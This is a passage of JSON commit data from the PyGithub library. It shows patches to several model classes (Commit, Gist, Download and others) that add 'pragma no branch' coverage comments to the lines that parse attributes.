attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":25,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","changes":50,"additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","filename":"src/github/AuthenticatedUser.py"},{"patch":"@@ -117,21 +117,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"app\", \"created_at\", \"id\", \"note\", \"note_url\", \"scopes\", \"token\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"app\" in attributes and attributes[ \"app\" ] is not None:\n+ if \"app\" in attributes and attributes[ \"app\" ] is not None: # pragma no branch\n self.__app = attributes[ \"app\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"note\" in attributes and attributes[ \"note\" ] is not None:\n+ if \"note\" in attributes and attributes[ \"note\" ] is not None: # pragma no branch\n self.__note = attributes[ \"note\" ]\n- if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None:\n+ if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None: # pragma no branch\n self.__note_url = attributes[ \"note_url\" ]\n- if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None:\n+ if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None: # pragma no branch\n self.__scopes = attributes[ \"scopes\" ]\n- if \"token\" in attributes and attributes[ \"token\" ] is not None:\n+ if \"token\" in attributes and attributes[ \"token\" ] is not None: # pragma no branch\n self.__token = attributes[ \"token\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","filename":"src/github/Authorization.py"},{"patch":"@@ -28,9 +28,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","status":"modified","deletions":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","changes":4,"additions":2,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","filename":"src/github/Branch.py"},{"patch":"@@ -120,33 +120,33 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"commit\", \"committer\", \"files\", \"parents\", \"sha\", \"stats\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = NamedUser.NamedUser( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = GitCommit.GitCommit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = NamedUser.NamedUser( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"files\" ], list ) and ( len( attributes[ \"files\" ] ) == 0 or isinstance( attributes[ \"files\" ][ 0 ], dict ) )\n self.__files = [\n CommitFile.CommitFile( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"files\" ]\n ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n Commit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"stats\" in attributes and attributes[ \"stats\" ] is not None:\n+ if \"stats\" in attributes and attributes[ \"stats\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"stats\" ], dict )\n self.__stats = CommitStats.CommitStats( self.__requester, attributes[ \"stats\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","changes":16,"additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","filename":"src/github/Commit.py"},{"patch":"@@ -121,36 +121,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"line\" ], int )\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"position\" ], int )\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":11,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","filename":"src/github/CommitComment.py"},{"patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","filename":"src/github/CommitFile.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"deletions\", \"total\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"additions\" ], int )\n self.__additions = attributes[ \"additions\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"deletions\" ], int )\n self.__deletions = attributes[ \"deletions\" ]\n- if \"total\" in attributes and attributes[ \"total\" ] is not None:\n+ if \"total\" in attributes and attributes[ \"total\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total\" ], int )\n self.__total = attributes[ \"total\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","filename":"src/github/CommitStats.py"},{"patch":"@@ -162,43 +162,43 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"accesskeyid\", \"acl\", \"bucket\", \"content_type\", \"created_at\", \"description\", \"download_count\", \"expirationdate\", \"html_url\", \"id\", \"mime_type\", \"name\", \"path\", \"policy\", \"prefix\", \"redirect\", \"s3_url\", \"signature\", \"size\", \"url\", \"x-amz-meta-content-disposition\" ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None:\n+ if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None: # pragma no branch\n self.__accesskeyid = attributes[ \"accesskeyid\" ]\n- if \"acl\" in attributes and attributes[ \"acl\" ] is not None:\n+ if \"acl\" in attributes and attributes[ \"acl\" ] is not None: # pragma no branch\n self.__acl = attributes[ \"acl\" ]\n- if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None:\n+ if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None: # pragma no branch\n self.__bucket = attributes[ \"bucket\" ]\n- if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None:\n+ if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None: # pragma no branch\n self.__content_type = attributes[ \"content_type\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n self.__description = attributes[ \"description\" ]\n- if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None:\n+ if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None: # pragma no branch\n self.__download_count = attributes[ \"download_count\" ]\n- if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None:\n+ if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None: # pragma no branch\n self.__expirationdate = attributes[ \"expirationdate\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None:\n+ if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None: # pragma no branch\n self.__mime_type = attributes[ \"mime_type\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"policy\" in attributes and attributes[ \"policy\" ] is not None:\n+ if \"policy\" in attributes and attributes[ \"policy\" ] is not None: # pragma no branch\n self.__policy = attributes[ \"policy\" ]\n- if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None:\n+ if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None: # pragma no branch\n self.__prefix = attributes[ \"prefix\" ]\n- if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None:\n+ if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None: # pragma no branch\n self.__redirect = attributes[ \"redirect\" ]\n- if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None:\n+ if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None: # pragma no branch\n self.__s3_url = attributes[ \"s3_url\" ]\n- if \"signature\" in attributes and attributes[ \"signature\" ] is not None:\n+ if \"signature\" in attributes and attributes[ \"signature\" ] is not None: # pragma no branch\n self.__signature = attributes[ \"signature\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":20,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","changes":40,"additions":20,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","filename":"src/github/Download.py"},{"patch":"@@ -60,22 +60,22 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"created_at\", \"id\", \"org\", \"payload\", \"public\", \"repo\", \"type\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"org\" in attributes and attributes[ \"org\" ] is not None:\n+ if \"org\" in attributes and attributes[ \"org\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"org\" ], dict )\n self.__org = Organization.Organization( self.__requester, attributes[ \"org\" ], completion = LazyCompletion )\n- if \"payload\" in attributes and attributes[ \"payload\" ] is not None:\n+ if \"payload\" in attributes and attributes[ \"payload\" ] is not None: # pragma no branch\n self.__payload = attributes[ \"payload\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n self.__public = attributes[ \"public\" ]\n- if \"repo\" in attributes and attributes[ \"repo\" ] is not None:\n+ if \"repo\" in attributes and attributes[ \"repo\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repo\" ], dict )\n self.__repo = Repository.Repository( self.__requester, attributes[ \"repo\" ], completion = LazyCompletion )\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n self.__type = attributes[ \"type\" ]","status":"modified","deletions":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","changes":16,"additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","filename":"src/github/Event.py"},{"patch":"@@ -220,53 +220,53 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"comments\", \"created_at\", \"description\", \"files\", \"fork_of\", \"forks\", \"git_pull_url\", \"git_push_url\", \"history\", \"html_url\", \"id\", \"public\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n self.__files = attributes[ \"files\" ]\n- if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None:\n+ if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork_of\" ], dict )\n self.__fork_of = Gist( self.__requester, attributes[ \"fork_of\" ], completion = LazyCompletion )\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], list ) and ( len( attributes[ \"forks\" ] ) == 0 or isinstance( attributes[ \"forks\" ][ 0 ], dict ) )\n self.__forks = [\n Gist( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"forks\" ]\n ]\n- if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None:\n+ if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_pull_url\" ], str )\n self.__git_pull_url = attributes[ \"git_pull_url\" ]\n- if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None:\n+ if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_push_url\" ], str )\n self.__git_push_url = attributes[ \"git_push_url\" ]\n- if \"history\" in attributes and attributes[ \"history\" ] is not None:\n+ if \"history\" in attributes and attributes[ \"history\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"history\" ], list ) and ( len( attributes[ \"history\" ] ) == 0 or isinstance( attributes[ \"history\" ][ 0 ], dict ) )\n self.__history = [\n GistHistoryState.GistHistoryState( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"history\" ]\n ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], str )\n self.__id = attributes[ \"id\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public\" ], bool )\n self.__public = attributes[ \"public\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion 